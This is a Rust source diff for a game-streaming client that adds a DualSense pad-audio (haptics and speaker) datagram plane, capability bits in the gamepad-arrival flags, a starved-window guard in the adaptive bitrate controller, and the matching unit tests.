out_pad: *mut u8,
out_kind: *mut u8,
out_seq: *mut u32,
out_pts_ns: *mut u64,
buf: *mut u8,
buf_len: usize,
timeout_ms: u32,
) -> i32 {
let r = std::panic::catch_unwind(AssertUnwindSafe(|| {
// SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
// has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
// here handles.
let c = match unsafe { c.as_ref() } {
Some(c) => c,
None => return -1,
};
if buf.is_null() && buf_len != 0 {
return -1;
}
match c
.inner
.next_pad_audio(std::time::Duration::from_millis(timeout_ms as u64))
{
Some(f) => {
if f.opus.is_empty() || f.opus.len() > buf_len {
// DTX silence (skipped like the audio-PCM path — decoding an empty payload
// as loss would synthesize concealment) or doesn't fit — report "nothing
// this poll" (the next_hidout HidRaw-skip precedent; truncated Opus would
// be undecodable anyway).
return 0;
}
// SAFETY: per the ABI contract - each out-param below is OPTIONAL, so it is null-
// checked before it is written; `buf` is a caller-owned writable region of
// `buf_len` bytes and the copy length was just bounds-checked against it.
unsafe {
if !out_pad.is_null() {
*out_pad = f.pad;
}
if !out_kind.is_null() {
*out_kind = f.kind;
}
if !out_seq.is_null() {
*out_seq = f.seq;
}
if !out_pts_ns.is_null() {
*out_pts_ns = f.pts_ns;
}
std::ptr::copy_nonoverlapping(f.opus.as_ptr(), buf, f.opus.len());
}
f.opus.len() as i32
}
// `None` folds timeout and closed; the shutdown flag tells them apart so the
// embedder's plane loop can exit instead of polling a dead session forever.
None if c.inner.is_session_ended() => -1,
None => 0,
}
}));
r.unwrap_or(-1)
}
/// Declare wire pad `pad`'s pad-audio render capabilities (`audio_caps`: OR of
/// [`PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS`] / [`PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER`]) — how a client
/// tells the host WHICH pads can actually play the 0xD1 streams. Call at controller attach,
/// BEFORE the pad's arrival event is sent (the [`punktfunk_connection_set_rumble_quirks`]
/// timing): the core folds the bits into the arrival's flags (bits 8/9), and only toward a
/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — never calling this leaves the wire bytes exactly as
/// before. Latest-wins per pad; unknown bits are masked off.
///
/// # Safety
/// `c` is a valid connection handle. Callable from any thread.
#[cfg(feature = "quic")]
#[no_mangle]
pub unsafe extern "C" fn punktfunk_connection_set_pad_audio_caps(
c: *mut PunktfunkConnection,
pad: u8,
audio_caps: u8,
) -> PunktfunkStatus {
guard(|| {
// SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
// has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
// here handles.
let c = match unsafe { c.as_ref() } {
Some(c) => c,
None => return PunktfunkStatus::NullPointer,
};
c.inner.set_pad_audio_caps(pad, audio_caps);
PunktfunkStatus::Ok
})
}
/// Pull the next rumble (force-feedback) update, waiting up to `timeout_ms`. Amplitudes
/// are 0..0xFFFF (`low` = low-frequency motor, `high` = high-frequency), `(0, 0)` = stop.
/// Same timeout/closed semantics as [`punktfunk_connection_next_audio`].
@@ -4417,3 +4585,36 @@ pub unsafe extern "C" fn punktfunk_reanchor_gate_is_holding(
PunktfunkStatus::Ok
})
}
#[cfg(all(test, feature = "quic"))]
mod tests {
use super::*;
/// The `AudioCtl` → `PunktfunkHidOutput` mapping: kind 5, pad narrowed, `which` carries the
/// flags byte, `effect[0..6]` the raw audio region with `effect_len = 6` (the TrackpadHaptic
/// packing idiom — no struct growth, so the size guard above stays at 19).
#[test]
fn hidout_abi_maps_audio_ctl() {
let out = PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::AudioCtl {
pad: 3,
flags: 0x17,
raw: [0x50, 0x60, 0x70, 0x05, 0, 0],
})
.unwrap();
assert_eq!(out.kind, PUNKTFUNK_HIDOUT_AUDIO_CTL);
assert_eq!(out.pad, 3);
assert_eq!(out.which, 0x17);
assert_eq!(out.effect_len, 6);
assert_eq!(out.effect[..6], [0x50, 0x60, 0x70, 0x05, 0, 0]);
assert_eq!(out.effect[6..], [0; 5]);
// A raw passthrough report still has no C representation (skipped at the pull site).
assert!(
PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::HidRaw {
pad: 0,
kind: 0,
data: vec![0x80],
})
.is_none()
);
}
}
+120
View File
@@ -159,6 +159,17 @@ const CAP_REPROBE_WINDOWS_MAX: u32 = 128;
/// choke again at the same place, and only backoffs at a climbed-to rate can agree within the
/// band (a cascade's second backoff sits at ×0.7 of the first: outside it by construction).
const DECODE_CAP_SIMILAR_DIV: u32 = 8;
/// A deciding window that DELIVERED under `current / STARVED_DELIVERY_DIV` is STARVED: the
/// stream barely flowed (a host-side capture stall, an outage, a mid-window pause), so whatever
/// distress the window carries — a flush, a keyframe-ask burst — is starvation-shaped, not
/// rate-shaped, and the decoder decoded almost nothing at the nominal rate. Such a window may
/// still back off (real damage deserves the safe response) but must never be a decode-knee
/// sample: latching `current_kbps` off a starved window teaches a phantom decoder cap at
/// whatever rate the stall interrupted (the periodic-capture-stall field case: every 5 s cycle
/// offers another pair of "backoffs" at the same rate — a bogus latch that then fights the
/// re-probe ladder for minutes). Deliberately far below the ×¾ utilization bar climbs require:
/// the band between them is ambiguous and keeps today's behavior.
const STARVED_DELIVERY_DIV: u32 = 4;
/// Rolling window (in 750 ms report windows, ~30 s) whose minimum mean is the OWD baseline.
/// Long enough to remember the uncongested floor, short enough to follow genuine path changes.
const BASELINE_WINDOWS: usize = 40;
@@ -697,6 +708,10 @@ impl BitrateController {
|| self.streak_decode_windows >= BAD_WINDOWS_TO_DECREASE
|| (recovery_kf >= RECOVERY_KF_BAD && loss_ppm < HEAVY_LOSS_PPM)
|| (flushed && (decode_bad || decode_mean_us.is_none()));
// Starved deciding window (see [`STARVED_DELIVERY_DIV`]): the stream barely flowed,
// so the window says nothing about what the decoder can hold at this rate.
let starved =
(actual_kbps as u64) * (STARVED_DELIVERY_DIV as u64) < self.current_kbps as u64;
if !self.climb_since_backoff {
// Still draining the previous backoff: the host acks a ×0.7 request in ~100 ms,
// so this window's rate is one the decoder never choked at while keeping up —
@@ -708,6 +723,17 @@ impl BitrateController {
"adaptive bitrate: backoff without an intervening climb — draining the \
previous choke, not a knee sample"
);
} else if starved {
// Same "not a knee sample either way" treatment as the draining arm: neither
// latch against a starved window nor let it erase the reference a real knee
// set — the next genuine choke at that rate must still find its pair.
tracing::debug!(
at_kbps = self.current_kbps,
actual_kbps,
reference_kbps = self.decode_backoff_kbps,
"adaptive bitrate: backoff in a starved window (delivery a fraction of \
the target) starvation-shaped distress, not a knee sample"
);
} else if decode_evidence {
let rate = self.current_kbps;
let similar = self.decode_backoff_kbps > 0
@@ -2084,6 +2110,100 @@ mod tests {
rate - rate / 16
}
/// One capture-stall-shaped window at the current rate: almost nothing delivered
/// (current/10), nothing decoded, no loss — but a jump-to-live flush and a keyframe-ask
/// storm (the stall edge's damage signature). SEVERE, so it backs off; STARVED, so it must
/// never be a knee sample.
fn stall_choke(c: &mut BitrateController, start: Instant, tick: &mut u32) -> Option<u32> {
*tick += 2;
let r = c.on_window(
ticks(start, *tick),
0,
0,
None,
None,
None,
c.current_kbps / 10,
true,
RECOVERY_KF_SEVERE,
);
*tick += 1;
r
}
#[test]
fn capture_stall_windows_never_latch_a_decode_cap() {
// The periodic-capture-stall field case (RDNA4 standby-sink, 5 s cycle): every stall
// edge offers another flush + kf-storm "backoff" at the SAME rate — without the starved
// guard that pair latches a phantom decoder knee at whatever rate the display driver
// happened to interrupt, and the session then fights the re-probe ladder for minutes.
let mut c = BitrateController::new(240_000);
c.set_ceiling(900_000);
let start = Instant::now();
let mut t = 0;
for _ in 0..4 {
calm_window(&mut c, ticks(start, t));
t += 1;
}
climb_to(&mut c, start, &mut t, 400_000);
let at = c.current_kbps;
let r1 = stall_choke(&mut c, start, &mut t).expect("stall damage still backs off");
assert!(
c.decode_cap_kbps.is_none(),
"one starved window must not latch"
);
assert_eq!(
c.decode_backoff_kbps, 0,
"a starved window is not a knee sample — no reference recorded"
);
c.on_ack(r1);
climb_to(&mut c, start, &mut t, at - at / DECODE_CAP_SIMILAR_DIV);
let r2 = stall_choke(&mut c, start, &mut t).expect("second stall edge backs off too");
c.on_ack(r2);
assert!(
c.decode_cap_kbps.is_none(),
"a starved pair at the same rate must not latch a phantom knee"
);
}
#[test]
fn starved_window_preserves_the_knee_reference() {
// A REAL knee sample, then a stall edge, then the genuine re-climb choke: the starved
// window in the middle must neither latch nor ERASE the reference the real choke set —
// the genuine pair must still find each other around it.
let mut c = BitrateController::new(500_000);
c.set_ceiling(900_000);
let start = Instant::now();
let mut t = 0;
for _ in 0..4 {
calm_window(&mut c, ticks(start, t));
t += 1;
}
let knee = c.current_kbps;
let r1 = choke(&mut c, start, &mut t).expect("real choke backs off");
assert_eq!(
c.decode_backoff_kbps, knee,
"real choke records the reference"
);
c.on_ack(r1);
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
let r2 = stall_choke(&mut c, start, &mut t).expect("stall edge backs off");
assert_eq!(
c.decode_backoff_kbps, knee,
"the starved window must not erase the real reference"
);
assert!(c.decode_cap_kbps.is_none(), "and must not latch against it");
c.on_ack(r2);
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
let rate = c.current_kbps;
choke(&mut c, start, &mut t).expect("genuine re-climb choke backs off");
assert_eq!(
c.decode_cap_kbps,
Some(rate - rate / 16),
"the genuine pair still latches around the starved interruption"
);
}
#[test]
fn decode_cap_latches_when_the_reclimb_chokes_at_the_same_knee() {
// The 1440p120 field sawtooth: a decoder knee (~500 Mbps) well under the (inflated)
+50 -4
View File
@@ -16,11 +16,13 @@ use crate::config::{CompositorPref, GamepadPref, Mode};
use crate::error::{PunktfunkError, Result};
use crate::input::InputEvent;
use crate::quic::{
endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, ProbeRequest,
RfiRequest, RichInput,
endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, PadAudioFrame,
ProbeRequest, RfiRequest, RichInput,
};
use crate::session::Frame;
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, Ordering};
use std::sync::atomic::{
AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, AtomicU8, Ordering,
};
use std::sync::mpsc::{Receiver, RecvTimeoutError};
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
@@ -43,7 +45,7 @@ use self::control::{CtrlRequest, Negotiated};
use self::frame_channel::{DecodeLatAcc, FrameChannel, FramePop};
use self::planes::{
RumbleUpdate, AUDIO_QUEUE, CLIP_EVENT_QUEUE, CURSOR_SHAPE_QUEUE, CURSOR_STATE_QUEUE,
HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, RUMBLE_QUEUE,
HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, PAD_AUDIO_QUEUE, RUMBLE_QUEUE,
};
use self::probe::ProbeState;
use self::pump::run_pump;
@@ -122,6 +124,14 @@ pub struct NativeClient {
rumble_sched: Arc<rumble::RumbleShared>,
/// Inbound DualSense feedback (lightbar / player LEDs / adaptive triggers) — 0xCD datagrams.
hidout: Mutex<Receiver<HidOutput>>,
/// Inbound pad audio (DualSense voice-coil haptics + speaker Opus frames) — 0xD1 datagrams.
/// Only a session that advertised [`quic::CLIENT_CAP_PAD_AUDIO`] against a
/// [`quic::HOST_CAP_PAD_AUDIO`] host ever receives any.
pad_audio: Mutex<Receiver<PadAudioFrame>>,
/// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
/// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing gamepad-arrival flags
/// (bits 8/9) by the worker's input task — toward a `HOST_CAP_PAD_AUDIO` host only.
pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
/// Inbound static HDR metadata (ST.2086 mastering + content light level) — 0xCE datagrams.
hdr_meta: Mutex<Receiver<HdrMeta>>,
/// Inbound per-AU host capture→send timings — 0xCF datagrams (the client always advertises
@@ -418,6 +428,10 @@ impl NativeClient {
let rumble_sched = Arc::new(rumble::RumbleShared::new());
let rumble_feed = rumble::RumbleFeed(rumble_sched.clone());
let (hidout_tx, hidout_rx) = std::sync::mpsc::sync_channel::<HidOutput>(HIDOUT_QUEUE);
let (pad_audio_tx, pad_audio_rx) =
std::sync::mpsc::sync_channel::<PadAudioFrame>(PAD_AUDIO_QUEUE);
let pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]> =
Arc::new(std::array::from_fn(|_| AtomicU8::new(0)));
let (hdr_meta_tx, hdr_meta_rx) = std::sync::mpsc::sync_channel::<HdrMeta>(HDR_META_QUEUE);
let (host_timing_tx, host_timing_rx) =
std::sync::mpsc::sync_channel::<crate::quic::HostTiming>(HOST_TIMING_QUEUE);
@@ -459,6 +473,7 @@ impl NativeClient {
let clock_offset_w = clock_offset.clone();
let decode_lat_w = decode_lat.clone();
let live_bitrate_w = live_bitrate.clone();
let pad_audio_caps_w = pad_audio_caps.clone();
let ctrl_tx_pump = ctrl_tx.clone(); // the data-plane pump sends adaptive-FEC LossReports
let worker = std::thread::Builder::new()
.name("punktfunk-client".into())
@@ -508,6 +523,8 @@ impl NativeClient {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
pad_audio_caps: pad_audio_caps_w,
hdr_meta_tx,
host_timing_tx,
cursor_shape_tx,
@@ -556,6 +573,8 @@ impl NativeClient {
rumble: Mutex::new(rumble_rx),
rumble_sched,
hidout: Mutex::new(hidout_rx),
pad_audio: Mutex::new(pad_audio_rx),
pad_audio_caps,
hdr_meta: Mutex::new(hdr_meta_rx),
host_timing: Mutex::new(host_timing_rx),
cursor_shape: Mutex::new(cursor_shape_rx),
@@ -1061,6 +1080,33 @@ impl NativeClient {
}
}
/// Pull the next pad-audio frame (0xD1): one Opus frame of DualSense voice-coil haptics
/// ([`quic::PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
/// ([`quic::PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `pad`. All pads/kinds share the
/// queue — the embedder fans out by `pad`/`kind` to per-actuator Opus decoders. `None` on
/// timeout AND once the session ended ([`is_session_ended`](Self::is_session_ended)
/// distinguishes, and the plane is best-effort either way). Only a session that advertised
/// [`quic::CLIENT_CAP_PAD_AUDIO`] against a [`quic::HOST_CAP_PAD_AUDIO`] host — with the
/// pad's render caps declared via [`set_pad_audio_caps`](Self::set_pad_audio_caps) — ever
/// receives any. Drain on a dedicated thread like [`next_audio`](Self::next_audio); one
/// puller per the plane contract.
pub fn next_pad_audio(&self, timeout: Duration) -> Option<PadAudioFrame> {
self.pad_audio.lock().unwrap().recv_timeout(timeout).ok()
}
/// Declare wire pad `pad`'s pad-audio render capabilities: `audio_caps` bit0 = the pad can
/// play the HAPTICS stream (a real DualSense's voice coils), bit1 = the SPEAKER stream.
/// Call at controller attach, BEFORE the pad's arrival is sent (like
/// [`set_rumble_quirks`](Self::set_rumble_quirks)) — the worker ORs the bits into the
/// arrival's flags (bits 8/9), and only toward a [`quic::HOST_CAP_PAD_AUDIO`] host, so an
/// embedder that never calls this (or a host that can't capture pad audio) leaves the wire
/// bytes exactly as before. Latest-wins per pad; unknown bits are masked off.
pub fn set_pad_audio_caps(&self, pad: u8, audio_caps: u8) {
if let Some(slot) = self.pad_audio_caps.get(pad as usize) {
slot.store(audio_caps & 0x03, Ordering::Relaxed);
}
}
/// Pull the next static HDR metadata update (ST.2086 mastering display + content light level)
/// the host sent for an HDR session; same timeout/closed semantics as
/// [`NativeClient::next_hidout`]. The host sends one near session start and re-sends it on
@@ -20,6 +20,12 @@ pub(crate) type RumbleUpdate = (u16, u16, u16, Option<u16>);
/// Same overflow discipline as rumble; the host re-sends on the next feedback change.
pub(crate) const HIDOUT_QUEUE: usize = 32;
/// Pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker) buffered for the embedder,
/// ALL pads and kinds on one queue (the embedder fans out by `pad`/`kind`): 64 × 5 ms = 320 ms of
/// slack on a haptics-only stream, the [`AUDIO_QUEUE`] discipline. A lagging embedder drops the
/// newest frame (the renderer conceals the gap).
pub(crate) const PAD_AUDIO_QUEUE: usize = 64;
/// Static HDR metadata (ST.2086 mastering + content light level) buffered for the embedder. Tiny
/// and low-rate (one on start, re-sent on mastering changes / keyframes); a small ring is ample.
pub(crate) const HDR_META_QUEUE: usize = 8;
+13 -2
View File
@@ -50,6 +50,8 @@ pub(super) async fn run_pump(args: WorkerArgs) {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
pad_audio_caps,
hdr_meta_tx,
host_timing_tx,
cursor_shape_tx,
@@ -92,9 +94,17 @@ pub(super) async fn run_pump(args: WorkerArgs) {
// Input task: embedder events → uplink datagrams, with per-transition gamepad events
// folded into idempotent seq-stamped snapshots toward a HOST_CAP_GAMEPAD_STATE host
// (see [`input_task`]).
// (see [`input_task`]). Pad-audio render caps ride arrival flags bits 8/9 ONLY toward a
// HOST_CAP_PAD_AUDIO host — an older host reads the whole flags word as the pad index.
let gamepad_snapshots = host_caps & crate::quic::HOST_CAP_GAMEPAD_STATE != 0;
tokio::spawn(input_task::run(conn.clone(), input_rx, gamepad_snapshots));
let pad_audio_arrivals = host_caps & crate::quic::HOST_CAP_PAD_AUDIO != 0;
tokio::spawn(input_task::run(
conn.clone(),
input_rx,
gamepad_snapshots,
pad_audio_arrivals,
pad_audio_caps,
));
// Mic task: embedder Opus mic frames → 0xCB uplink datagrams (best-effort, dropped on loss).
// Self-healing latency bound: every frame still queued once this task catches up is standing
@@ -166,6 +176,7 @@ pub(super) async fn run_pump(args: WorkerArgs) {
rumble_tx,
rumble_feed,
hidout_tx,
pad_audio_tx,
hdr_meta_tx,
host_timing_tx,
encode_lat.clone(),
@@ -12,6 +12,7 @@ pub(super) async fn run(
rumble_tx: std::sync::mpsc::SyncSender<RumbleUpdate>,
rumble_feed: super::super::rumble::RumbleFeed,
hidout_tx: std::sync::mpsc::SyncSender<crate::quic::HidOutput>,
pad_audio_tx: std::sync::mpsc::SyncSender<crate::quic::PadAudioFrame>,
hdr_meta_tx: std::sync::mpsc::SyncSender<crate::quic::HdrMeta>,
host_timing_tx: std::sync::mpsc::SyncSender<crate::quic::HostTiming>,
// The ABR encode signal's accumulator (see [`EncodeLatAcc`]) — fed HERE, not off
@@ -100,6 +101,11 @@ pub(super) async fn run(
let _ = hidout_tx.try_send(h);
}
}
Some(&crate::quic::PAD_AUDIO_MAGIC) => {
if let Some(f) = crate::quic::decode_pad_audio_datagram(&d) {
let _ = pad_audio_tx.try_send(f);
}
}
Some(&crate::quic::HDR_META_MAGIC) => {
if let Some(m) = crate::quic::decode_hdr_meta_datagram(&d) {
let _ = hdr_meta_tx.try_send(m);
@@ -15,8 +15,16 @@ pub(super) async fn run(
conn: quinn::Connection,
mut input_rx: tokio::sync::mpsc::UnboundedReceiver<InputEvent>,
gamepad_snapshots: bool,
// Whether the host advertised HOST_CAP_PAD_AUDIO: only then do arrivals carry the per-pad
// audio-render bits (flags 8/9) — an older host reads the whole flags word as the pad index,
// so unexpected high bits would make it drop the kind declaration entirely.
pad_audio: bool,
// Per-pad audio-render capabilities (bit0 haptics, bit1 speaker), fed by the embedder via
// [`NativeClient::set_pad_audio_caps`] and by arrival events already carrying the bits.
pad_audio_caps: std::sync::Arc<[std::sync::atomic::AtomicU8; crate::input::MAX_PADS]>,
) {
use crate::input::{GamepadSnapshot, InputKind, MAX_PADS};
use std::sync::atomic::Ordering;
// Touched pads only: an entry appears on the first gamepad event for that index, so the
// refresh never conjures a virtual pad the embedder didn't drive.
let mut pads: [Option<GamepadSnapshot>; MAX_PADS] = [None; MAX_PADS];
@@ -37,6 +45,28 @@ pub(super) async fn run(
const ARRIVAL_RESENDS: u8 = 2;
let mut arrival: [Option<u8>; MAX_PADS] = [None; MAX_PADS];
let mut arrival_owed: [u8; MAX_PADS] = [0; MAX_PADS];
// An arrival's outgoing flags word: the pad index, plus the pad's audio-render bits (8/9)
// toward a HOST_CAP_PAD_AUDIO host. With no declared caps (or an older host) this is
// byte-identical to the plain index — the pre-pad-audio wire.
// B7: the caps a pad's LAST arrival actually carried. `set_pad_audio_caps` only stores into
// the registry — it cannot reach this task — so a declaration that lands after the arrival
// burst has drained (the renderer commits the trade only once its sink opens, which is well
// past the two 100 ms ticks) used to never reach the host at all: the client believed it had
// pad audio and the host emitted nothing on 0xD1, silently, forever. Comparing this against
// the live registry on every tick re-arms the burst by itself, with no new plumbing and no
// extra traffic when nothing changed.
let mut arrival_caps_sent: [u8; MAX_PADS] = [0; MAX_PADS];
let caps_now = |idx: usize| -> u8 {
if pad_audio {
pad_audio_caps[idx].load(Ordering::Relaxed)
} else {
0
}
};
let arrival_flags = |idx: usize| -> u32 {
let caps = caps_now(idx);
crate::input::encode_gamepad_arrival(idx as u8, caps)
};
let mut refresh = tokio::time::interval(Duration::from_millis(100));
refresh.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
loop {
@@ -81,30 +111,56 @@ pub(super) async fn run(
let _ = conn.send_datagram(rem.encode().to_vec().into());
continue;
}
if gamepad_snapshots && ev.kind == InputKind::GamepadArrival && idx < MAX_PADS {
// Remember the declared kind (`code`) and forward it, arming a re-send burst
// so the host learns it before the pad's first frame even under loss.
arrival[idx] = Some(ev.code as u8);
arrival_owed[idx] = ARRIVAL_RESENDS;
let _ = conn.send_datagram(ev.encode().to_vec().into());
continue;
if gamepad_snapshots && ev.kind == InputKind::GamepadArrival {
// The index is the LOW BYTE only — bits 8/9 may carry the pad's audio-render
// caps (an embedder building raw events; the `set_pad_audio_caps` registry is
// the usual source). Fold event-carried bits into the registry so the re-send
// burst keeps them, then send with the negotiation-gated flags word.
let (pad, ev_caps) = crate::input::decode_gamepad_arrival(ev.flags);
let idx = pad as usize;
if idx < MAX_PADS {
if ev_caps != 0 {
pad_audio_caps[idx].fetch_or(ev_caps, Ordering::Relaxed);
}
// Remember the declared kind (`code`) and forward it, arming a re-send
// burst so the host learns it before the pad's first frame even under loss.
arrival[idx] = Some(ev.code as u8);
arrival_owed[idx] = ARRIVAL_RESENDS;
arrival_caps_sent[idx] = caps_now(idx);
let arr = crate::input::InputEvent {
flags: arrival_flags(idx),
..ev
};
let _ = conn.send_datagram(arr.encode().to_vec().into());
continue;
}
}
let _ = conn.send_datagram(ev.encode().to_vec().into());
}
_ = refresh.tick() => {
for idx in 0..MAX_PADS {
// B7: caps declared after the burst drained — re-announce this pad's arrival.
// Only for a pad that HAS an arrival (so it is a live, declared controller),
// and only when the value actually moved, so a steady session sends nothing.
if arrival[idx].is_some()
&& arrival_owed[idx] == 0
&& caps_now(idx) != arrival_caps_sent[idx]
{
arrival_owed[idx] = ARRIVAL_RESENDS;
}
// Re-send an owed kind declaration (independent of whether the pad has state
// yet — it may be idle-but-connected). Idempotent on the host.
if arrival_owed[idx] > 0 {
if let Some(kind) = arrival[idx] {
arrival_owed[idx] -= 1;
arrival_caps_sent[idx] = caps_now(idx);
let arr = crate::input::InputEvent {
kind: InputKind::GamepadArrival,
_pad: [0; 3],
code: kind as u32,
x: 0,
y: 0,
flags: idx as u32,
flags: arrival_flags(idx),
};
let _ = conn.send_datagram(arr.encode().to_vec().into());
} else {
+10 -2
View File
@@ -5,8 +5,8 @@ use crate::clipboard::{ClipCommand, ClipEventCore};
use crate::config::{CompositorPref, GamepadPref, Mode};
use crate::error::Result;
use crate::input::InputEvent;
use crate::quic::{HdrMeta, HidOutput};
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64};
use crate::quic::{HdrMeta, HidOutput, PadAudioFrame};
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64, AtomicU8};
use std::sync::mpsc::SyncSender;
use std::sync::{Arc, Mutex};
@@ -43,6 +43,14 @@ pub(crate) struct WorkerArgs {
/// closed, so the command API always observes connection teardown.
pub(crate) rumble_feed: super::rumble::RumbleFeed,
pub(crate) hidout_tx: SyncSender<HidOutput>,
/// Inbound pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker), drained by
/// [`NativeClient::next_pad_audio`].
pub(crate) pad_audio_tx: SyncSender<PadAudioFrame>,
/// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
/// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing
/// [`GamepadArrival`](crate::input::InputKind::GamepadArrival) flags (bits 8/9) by the input
/// task — toward a `HOST_CAP_PAD_AUDIO` host only.
pub(crate) pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
pub(crate) hdr_meta_tx: SyncSender<HdrMeta>,
pub(crate) host_timing_tx: SyncSender<crate::quic::HostTiming>,
pub(crate) cursor_shape_tx: SyncSender<crate::quic::CursorShape>,
+63 -1
View File
@@ -64,7 +64,11 @@ pub enum InputKind {
GamepadRemove = 13,
/// Declares which controller KIND a pad presents so a session can MIX types (pad 0 a
/// DualSense, pad 1 an Xbox pad). `code` = the [`GamepadPref`](crate::config::GamepadPref)
/// wire byte, `flags` = pad index. Sent when the client opens a pad slot — before that pad's
/// wire byte, `flags` = pad index in the low byte plus the pad's render capabilities in bits
/// 8/9 ([`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] — sent only
/// toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host, so an older host
/// keeps reading the whole word as the index; hosts decode via [`decode_gamepad_arrival`]).
/// Sent when the client opens a pad slot — before that pad's
/// first input — and re-sent a few times against datagram loss (like [`GamepadRemove`]). The
/// host resolves the kind to a buildable backend and routes that pad's virtual device to it; a
/// pad the client never declares (an older client, or a fully-lost declaration) falls back to
@@ -97,6 +101,34 @@ pub fn decode_gamepad_remove(flags: u32) -> (u8, u8) {
(flags as u8, (flags >> 24) as u8)
}
/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio HAPTICS — it is (or
/// forwards to) a real DualSense whose voice-coil actuators can play the
/// [`PAD_AUDIO_KIND_HAPTICS`](crate::quic::PAD_AUDIO_KIND_HAPTICS) stream. Rides above the pad
/// index byte; sent only toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host
/// (an older host reads the whole `flags` word as the index, so unexpected high bits would make
/// it drop the declaration).
pub const ARRIVAL_FLAG_PAD_AUDIO_HAPTICS: u32 = 1 << 8;
/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio SPEAKER — the
/// [`PAD_AUDIO_KIND_SPEAKER`](crate::quic::PAD_AUDIO_KIND_SPEAKER) stream. Same wire discipline
/// as [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`].
pub const ARRIVAL_FLAG_PAD_AUDIO_SPEAKER: u32 = 1 << 9;
/// Pack a [`InputKind::GamepadArrival`] `flags` word: the pad index in the low byte plus
/// `audio_caps` (bit0 = haptics, bit1 = speaker) as bits 8/9. `audio_caps = 0` reproduces the
/// pre-pad-audio wire bytes exactly.
pub fn encode_gamepad_arrival(pad: u8, audio_caps: u8) -> u32 {
(pad as u32) | (((audio_caps & 0x03) as u32) << 8)
}
/// Unpack a [`InputKind::GamepadArrival`] `flags` word into `(pad, audio_caps)`. The pad index
/// is `flags & 0xFF` — hosts MUST mask rather than take the whole word, or a capability bit
/// reads as a phantom index; `audio_caps` is bits 8/9 (bit0 = haptics, bit1 = speaker — the
/// [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] bits shifted down).
/// An old-format word (index only) yields `audio_caps = 0`.
pub fn decode_gamepad_arrival(flags: u32) -> (u8, u8) {
(flags as u8, ((flags >> 8) & 0x03) as u8)
}
/// The gamepad wire contract for [`InputKind::GamepadButton`]/[`InputKind::GamepadAxis`].
///
/// Everything follows the GameStream/XInput conventions end to end: buttons reuse
@@ -348,6 +380,11 @@ pub enum GamepadEvent {
kind: u8,
/// LI_CCAP_* bits (0x02 = rumble).
capabilities: u16,
/// Pad-audio render capabilities from a NATIVE-plane arrival's `flags` bits 8/9
/// (bit0 = haptics, bit1 = speaker — see [`decode_gamepad_arrival`]). NOT a GameStream
/// LI_CCAP bit (that vocabulary lives in `capabilities`); the GameStream plane cannot
/// express pad audio and always sets `0`, as does an old client.
audio_caps: u8,
},
}
@@ -443,6 +480,31 @@ mod tests {
assert_eq!((pad, seq), (9, 123));
}
#[test]
fn gamepad_arrival_flags_roundtrip() {
// The capability bits ride bits 8/9; the index stays the low byte.
for (pad, caps) in [(0u8, 0u8), (3, 0b01), (15, 0b10), (7, 0b11)] {
let flags = encode_gamepad_arrival(pad, caps);
assert_eq!(decode_gamepad_arrival(flags), (pad, caps));
assert_eq!(flags & 0xFF, pad as u32);
}
assert_eq!(
encode_gamepad_arrival(2, 0b11),
2 | ARRIVAL_FLAG_PAD_AUDIO_HAPTICS | ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
);
// Old-format compat both ways: a caps-less word (an old client, or a new one toward an
// old host) is byte-identical to the plain index, and decodes with caps 0.
assert_eq!(encode_gamepad_arrival(5, 0), 5);
assert_eq!(decode_gamepad_arrival(5), (5, 0));
// Undefined high bits (a future extension) never leak into the index OR the caps.
assert_eq!(
decode_gamepad_arrival(0xFFFF_0000 | (0b01 << 8) | 9),
(9, 1)
);
// encode masks unknown caps bits, so a sloppy embedder can't corrupt the index space.
assert_eq!(encode_gamepad_arrival(1, 0xFF), 1 | (0b11 << 8));
}
#[test]
